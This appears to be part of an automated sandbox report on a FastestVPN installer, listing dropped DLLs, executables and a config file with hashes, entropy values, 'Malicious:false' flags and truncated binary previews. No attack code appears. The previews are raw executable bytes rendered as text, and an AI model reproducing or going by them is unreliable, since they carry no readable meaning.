                                                                                                                    MD5:056A3B1C036A46447EBCA7083DA271A5
                                                                                                                    SHA1:8044FD37E124DF9BAFCE4311DB66D6B931120006
                                                                                                                    SHA-256:6BEDFFF38EB390D01F0D51340B7B4F8F7B3D1C1C6CEE8888C0A8088EDA19283D
                                                                                                                    SHA-512:3399C06120F32219D611D976D778654A2628AC5BA0FA778512FE1101EE461663C5D5819ED5EECF90363F70E69108F5DAA1A3E71E81BB7F9F635AED8908997852
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............(... ...@....... ..............................M.....`..................................'..O....@..(................'...`..........p............................................ ............... ..H............text........ ...................... ..`.rsrc...(....@......................@..@.reloc.......`......................@..B.................'......H........[..............................................................*....(....**....(....**....(....**....(....*..(&.....%-.&(....}......%-.&...'...s(...}......%-.&s....}....*j...(....%-.&.{......o)...*...0..........s........%-.&~*.......,(...+-....(......-..(,...-....(......-..*..o-...}_....o....(,...,.r...p+..o........{_.....(....}`....{`...-..*.......s/...*...0.............(......-..*.o0.....o1.....(.....(...+o.....+w.o..........o3........(4...,/.(5...(..........%...%.

                                                                                                                    C:\Program Files\FastestVPN\Service\is-UNANK.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):24976
                                                                                                                    Entropy (8bit):6.836703429014385
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:STg0otikxUoOHLLEzFzd7h8NTif2+3mJJWg/0W2yHRN7OBu1x85zR9zphght:SwtLUoOrud7hqE2+3mdYuz109zpc
                                                                                                                    MD5:5E8C253B1394C1E6E396A939C9FC9068
                                                                                                                    SHA1:6AE721F34E256FD90A99617BA19040D45FF6A41F
                                                                                                                    SHA-256:4B1A93C57580BD0F304B214EAA3C451272821ACAFC6A0EAE34976606030E0D69
                                                                                                                    SHA-512:22CCA8638EF56059A9DE79289D3EB8289F0774579059C6785B08D08229E366BC8E9FA591EAAFBB4F2952FF7627D1CA0AB180C2B82555BA9C4BC8806F837F478D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l?J..........." ..0..0..........^N... ...`....... ..............................L.....`..................................N..O....`..(............:...'...........@..p............................................ ............... ..H............text...d.... ...0.................. ..`.rsrc...(....`.......2..............@..@.reloc...............8..............@..B................@N......H........&..,....................@.......................................0..T........(.....-.r...ps....z.-.r...ps....z..}......o....%-.&s....}......o....%-.&s....}....*.0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..%............(....,...(.....{.....o....o....*....0..I........o....(....-%.....(....,..o ... ....o!.....(....+..o ... ....o!....(...+*v..{......o#...Q.P,..Po$...*.*..0..M........o%.....,B.o&....+%.o'.....o ...o(.....().....(*...o+...

                                                                                                                    C:\Program Files\FastestVPN\Service\nfapi.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):159368
                                                                                                                    Entropy (8bit):6.32384599449582
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                    MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                    SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                    SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                    SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Service\subinacl.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):301224
                                                                                                                    Entropy (8bit):5.822993671222324
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOP:v56+Aq4WBTWpSqXhpeEioU2U7/c
                                                                                                                    MD5:8E545EE7F96C317AADC4EDA0F0FCF481
                                                                                                                    SHA1:242F4D714B142C10368AA82AF91B0A06E0A4E33F
                                                                                                                    SHA-256:A67BBFB9EFE5C1CD55D3B8209093BA93370F1EAE4F03A0349696D7B45867EAFC
                                                                                                                    SHA-512:77EBC317804B3D0830E76156D93A38980CA113CA80B0A3A2051FDF00D2ABAC96A39AA9BF099AE9CC5AF1E27D14976B5C582096DD6B3AB7F521423FCE6EC11FDE
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P......2............ ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\SingleInstanceApplication.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):160936
                                                                                                                    Entropy (8bit):5.261187861382329
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:kgeojL/a7WvVHjizsw+Uu5MBBA4TigO8K/1:5jDzvVDizsQWMB1iR/1
                                                                                                                    MD5:F3F2EB62314A960AD5F60B61A8193CBD
                                                                                                                    SHA1:FD77AD6D9F96762CD7EE8D17454D9A7490FD8148
                                                                                                                    SHA-256:0F74E741958310B8E65E3B2393828998DB075EBF4C5B29045707948C65CB03CC
                                                                                                                    SHA-512:A62D09CF93E604AE0282F05842B607216533800F82ABF75E7D0FF1E9DED5F748B9E34D5E38170F1C837A0957D15FC4C6DF101FF2BE48D90C880807D0FB95D3E6
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2.Z...........!.........,......n:... ...@....... ....................................@..................................:..S....@..8)...........J...*...........8............................................... ............... ..H............text...t.... ...................... ..`.rsrc...8)...@...*..................@..@.reloc...............H..............@..B................P:......H........#......................P ............................................y.....3....f........UE#.H.NDC..\3,.|7...1...=.w..n.w.P5.y.......p.._Z@B..h..#,._...p...|..qXV..6.......i[..2;.'`..=.;...~....*..0..T.......(..........(....(......r...pr...p(...........s..........,..(......T+...~....(....T.*.~....,.~....o..........~....,.~....(..........*.0..e.......s.......o....s......r5..p.o ....r?..p.o ....rQ..pry..po .....s!........~.....("...s#.....r...p($...&*....0..A.......

                                                                                                                    C:\Program Files\FastestVPN\System.Buffers.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):22696
                                                                                                                    Entropy (8bit):6.669675167195394
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:PICREYcfpyXOT9Z7a6WmYWXWIYiAh70FP27NBY3Yuv+9gfK:PIiE9QXM1xYioMK/Y/+9gi
                                                                                                                    MD5:657A48C8DA3DE14059498E383EBEF318
                                                                                                                    SHA1:ECCC9AB4E6804EB0581AC5BBD684B7DB5A13F028
                                                                                                                    SHA-256:201EC78B195DCE51330985026A8A4EC641F9ACE53429C5C2F5BB3F1CE7BEEC4A
                                                                                                                    SHA-512:C4F2410470BBEA5680958490B705C828254992441D27E5FB7837957583FDA8D639EA8D9EF00035DB63ABACF28C5E4560D642C1D19F144255908C44F5C37CE8DE
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..$..........:C... ...`....... ....................................@..................................B..O....`...................*...........A............................................... ............... ..H............text...@#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......h'..p............?..X...0A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*......(....*..(....*R. ...(...+%-.&("...*^. ...(#....(...+&~ ...*.s%...*"..s&...*..('...*.*....0........................((

                                                                                                                    C:\Program Files\FastestVPN\System.Memory.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):143528
                                                                                                                    Entropy (8bit):6.164743567434074
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:oxi8ae06y7Q0kSutmvEmFk0pBa/+h8k/6kY2F8xB0dhqABtx5yoG9Qd7n8K/m:Q0vDkSutmhFpYqtDqAhjMQdYK/m
                                                                                                                    MD5:24DF113016A58EB1D14691CFE947C2C8
                                                                                                                    SHA1:E32B2388C9BCB8BD3EEA1A87626B562A06F5E2F9
                                                                                                                    SHA-256:4DE9980CF1D3B45FC14F69EA4DFF6F456389C5E817344D44D6FA7C1A3276AFB5
                                                                                                                    SHA-512:10DD82391CF51885533A5F9F859D7E79A9016F6E6A24C0A04C9BE08EA4C5A951D73AF467EC89BAB191DAC4B37D51B0C0AB247A24CD05478AD6101A44E9FC0D48
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..\.........." ..0.............b.... ... ....... .......................`......q[....@.....................................O.... ..8................*...@..........8............................................ ............... ..H............text...8.... ...................... ..`.rsrc...8.... ......................@..@.reloc.......@......................@..B................C.......H........,..L...........,.................................................((...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....()...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o*....{....(a...*..(....zN........o+...s,...*.(....z.s-...*..(....zF(U....(O...s....*.(....z.(V...s....*.(....z.s/...*.(....z.s0...*..(....zN........o+...s1...*.(....zrr...p(\....c.M...(O...s2...*.(....zBr...p(Y...s2...*.(....z.s3...*.(....z.(X...s4...*.(!...z.(_...s4...*.(#...z

                                                                                                                    C:\Program Files\FastestVPN\System.Numerics.Vectors.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):110760
                                                                                                                    Entropy (8bit):5.479763068610726
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:hpKSyD3hoE3PQU9xb1iPKHKWU//6hE2rkQQc76rK/8:qSyLhZ/X9xb1YKqn/unQcOrK/8
                                                                                                                    MD5:3FC875FFEFAC2BBA64E6F2A6A7CFF45B
                                                                                                                    SHA1:CAB48D6D156261CD9612633D70A61DA670D0D093
                                                                                                                    SHA-256:5A12A8D3CA02716C616F56342C920422966ABF79B49C4B1E1C7FF36E97764E1B
                                                                                                                    SHA-512:DDA0B6F0587D7915B490FFA2225E72374A2AA671E2019ABDC72EB7598B642906CF09302575C5B5B495B832FF434D45BAD0650C0409358E5D1786F4561FAE3636
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..v..........j.... ........... ....................................@.....................................O........................*..........t................................................ ............... ..H............text...pu... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B................K.......H.......,S..0>..........\.................................................(....*&.l(....k*&.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(....*......(....*...

                                                                                                                    C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):16768
                                                                                                                    Entropy (8bit):6.361391591273708
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:LGLxTyHvc4ROgcxAdWXYWJeaPtWsI9A9GaHnhWgN7aJeWw0fnCsqnajt:LgGLROZAdWXYW8aPcyHRN7WEqn1lx
                                                                                                                    MD5:DA04A75DDC22118ED24E0B53E474805A
                                                                                                                    SHA1:2D68C648A6A6371B6046E6C3AF09128230E0AD32
                                                                                                                    SHA-256:66409F670315AFE8610F17A4D3A1EE52D72B6A46C544CEC97544E8385F90AD74
                                                                                                                    SHA-512:26AF01CA25E921465F477A0E1499EDC9E0AC26C23908E5E9B97D3AFD60F3308BFBF2C8CA89EA21878454CD88A1CDDD2F2F0172A6E1E87EF33C56CD7A8D16E9C8
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^...........!................^2... ...@....@.. ...............................y....@..................................2..S....@...................#...`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@2......H........#..@...................P ......................................{.v.`)!.t..@.62C<.=...h....X..}.`v.r...g.e...yXa.dat.mwQ.XdJ...M..`..J...$|.j.6W.U.3.r.A.h.....9Q..|..,<g..gy..6V9o%..Gd.r.0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0................*..0...............*...0...............*...0..........

                                                                                                                    C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25984
                                                                                                                    Entropy (8bit):6.291520154015514
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:1R973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8aJcyHRN7WEimpplex:1RZ4nNxnYTb6Blha
                                                                                                                    MD5:E1E9D7D46E5CD9525C5927DC98D9ECC7
                                                                                                                    SHA1:2242627282F9E07E37B274EA36FAC2D3CD9C9110
                                                                                                                    SHA-256:4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
                                                                                                                    SHA-512:DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

                                                                                                                    C:\Program Files\FastestVPN\Updater.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):354984
                                                                                                                    Entropy (8bit):6.846739611307464
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:jbz6pzdD/rIJXiQTutgCNktQFvmnoxXTS4ubCjrKglegtKop/4:G9FrIJJaqCNktA+SXfUCP9lvtKop/4
                                                                                                                    MD5:D822226C4B35A7305269C8E16E542D3E
                                                                                                                    SHA1:12F92D16608AAC1C39DDC92BA2B5AB8B5AAE6C30
                                                                                                                    SHA-256:FC504A3F68150AFC8C3304E5528867BF99EDDE0F3707406A30371062DDD86A0E
                                                                                                                    SHA-512:3A3A18D96716BD1033C35B06B73674FF6CBBEBE8F5025D0BE260F649FB268745290139B6501B9E208EB43EC5D76C2ABBA0A34C1E2F7E0E9F25E14C41F54E3914
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....I}f.........."...0......D......6.... ... ....@.. ..............................o.....`.....................................O.... ..tA...........@...*........................................................... ............... ..H............text...<.... ...................... ..`.rsrc...tA... ...B..................@..@.reloc...............>..............@..B........................H........'... ...........G...............................................~....*.......*..,!.(...+.1..(...+(....-..(...+(....s....%o....%.o....o....&*....0..5........r...p.s....(.....{....,.*..}....r!..p.s.......(....*"..}....*..(....*.rY..p.....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...0............j(......j(.....(....,#.(....o....,..(....o ....(....o!.....(......&...s"...(.....(

                                                                                                                    C:\Program Files\FastestVPN\Updater.exe.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1106
                                                                                                                    Entropy (8bit):5.038231865445437
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:2dV8F7H3p2/+XBPpZp2/+XBPqp2/+XBw1irkV:cVg7C+XBR4+XBn+XBvrE
                                                                                                                    MD5:75E66AB540561A0C7D4160271F518243
                                                                                                                    SHA1:AD6501E407D216744B6C3DE76D7664D9581EBAD2
                                                                                                                    SHA-256:091AFFF3BB63024B5A7B14EA30306B6753858FD1A33FC8C98E3B5E65FE92FBE7
                                                                                                                    SHA-512:FCB55C0FDBB984B06AFF2FAFCAEA2596C175AA5A07D2F1A401305D3441338AA266A53D2DE7A7577684884A2E12CE3EE430B2E1D0210684A7EEFAF9EAA0DE115F
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.... <appSettings>.. <add key="DownloadLocation" value=""/>.. </appSettings>.... <runtime>.... <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.... <dependentAssembly>.... <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Threading.Tasks" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... </assemblyBinding>.... </runtime>

                                                                                                                    C:\Program Files\FastestVPN\VPN.AdvancedNetwork.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):35496
                                                                                                                    Entropy (8bit):6.3704146545353355
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:yS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK79:yS7DOOqf1RuhC5w78K/m
                                                                                                                    MD5:26592109F19A24EE91F039EBB40038C4
                                                                                                                    SHA1:C8846404EFEB44C6CBB242B4C107F7CCE865AD14
                                                                                                                    SHA-256:E3F74128991C128410498223D4185915528360AD3DA92CD01BC23B19D8C2C670
                                                                                                                    SHA-512:8B031C53F5529D50A80AE2A4803D7C34F9A71A54DA01A912D1DB4D77D9BC1F490AB634A32F2DF6009EB53A2E57CD21975F3E00AF111BFA8320DE550A17509CA1
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................S....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                    C:\Program Files\FastestVPN\VPN.Common.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):60584
                                                                                                                    Entropy (8bit):6.4260026936119194
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:D0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxn+:DxJ8kM9CHJ6bY3zkXX8u4iNa7ogBK/o
                                                                                                                    MD5:550D6E67BB1795B941E91840508BF7F6
                                                                                                                    SHA1:46E22693BDC92F4E8DD8C4C5433D233438A271EF
                                                                                                                    SHA-256:D4B4CEB77A3D429EE21412E5172AAC6E36C553E7D990137F212E5ADD6B9A9336
                                                                                                                    SHA-512:1271BEC8A700AC925B9AC13FDB84FFCCFFA6A1589FA3F9FA1361282C47BB8985A7C8F0335EFDD422E2A708BF2DD46458AEF64B4E2A54B8488F8ED53750337A23
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                    C:\Program Files\FastestVPN\VPN.OpenVpn.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):31912
                                                                                                                    Entropy (8bit):6.377831305172757
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:i4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7FIYihZM09:izNK/G4IfVswkYLy5L7yYihrK/Y/+mT
                                                                                                                    MD5:CE66CBCDA6D3B5047691C4AFF63CFE79
                                                                                                                    SHA1:358E3A2284798BE1C537756A41721B61643D2BEE
                                                                                                                    SHA-256:B8551ECBE96BB718BAA56E053589A7F16561BFDAB86575441EC5FBE528B32B8C
                                                                                                                    SHA-512:7BC26EDD1C018553B163B75250B5862D26B607C26BDBFB6934F0AC5CE20B04D1956EEAF3915CBCE2129CD992ECA6E1B1C311991427D485CB43969A05431270E4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................wt....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                    C:\Program Files\FastestVPN\VPN.RAS.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):41128
                                                                                                                    Entropy (8bit):6.4006875255426365
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:dQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtVK9:gVutFQF873t3/77KaDBuz3bzrBJBOKig
                                                                                                                    MD5:FDF4712500755002CD0FFD2F7BEA8C2A
                                                                                                                    SHA1:372F4D6F2F19A5DF96FCDEF566AE4761F7AFF2B5
                                                                                                                    SHA-256:D61A675E7D11A6DDF12E4CEBCABFD7BAAA24B86AD7B751BE19788E7A8A5ABE39
                                                                                                                    SHA-512:6484349215D1347FB3D77E6598AF740045AC416EE06370B8D89E91ECBA930E5AFFCE6F4840CE4ECD2214960E1884CCBE49710E5B5C1FEBE0C96F88A099AE2E4E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                    C:\Program Files\FastestVPN\VPN.WireGuard.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):20136
                                                                                                                    Entropy (8bit):6.723147332362829
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:BaXxdsvBO/dITrZ+VK6G6IYi+PVl0FP27NBY3Yuv+t+QV:BJZl6GHYiGIK/Y/+tB
                                                                                                                    MD5:14A266CFF3BC7795C208096E24D4791D
                                                                                                                    SHA1:D55A976C562A309B4EEB860E711324A22357470E
                                                                                                                    SHA-256:2C2E075009E736927EBC468CDFB7FF273F73670DF87A057C7B98D18A17CA945D
                                                                                                                    SHA-512:E4A82644052C82F3CFEBAFFF15DEF713F3883F3E32043FAFB607CEE008498329C2E5A5712B0FEE670D68C9CEE127EC70FEC88977B25AF838B5977595268CD252
                                                                                                                    Malicious:false
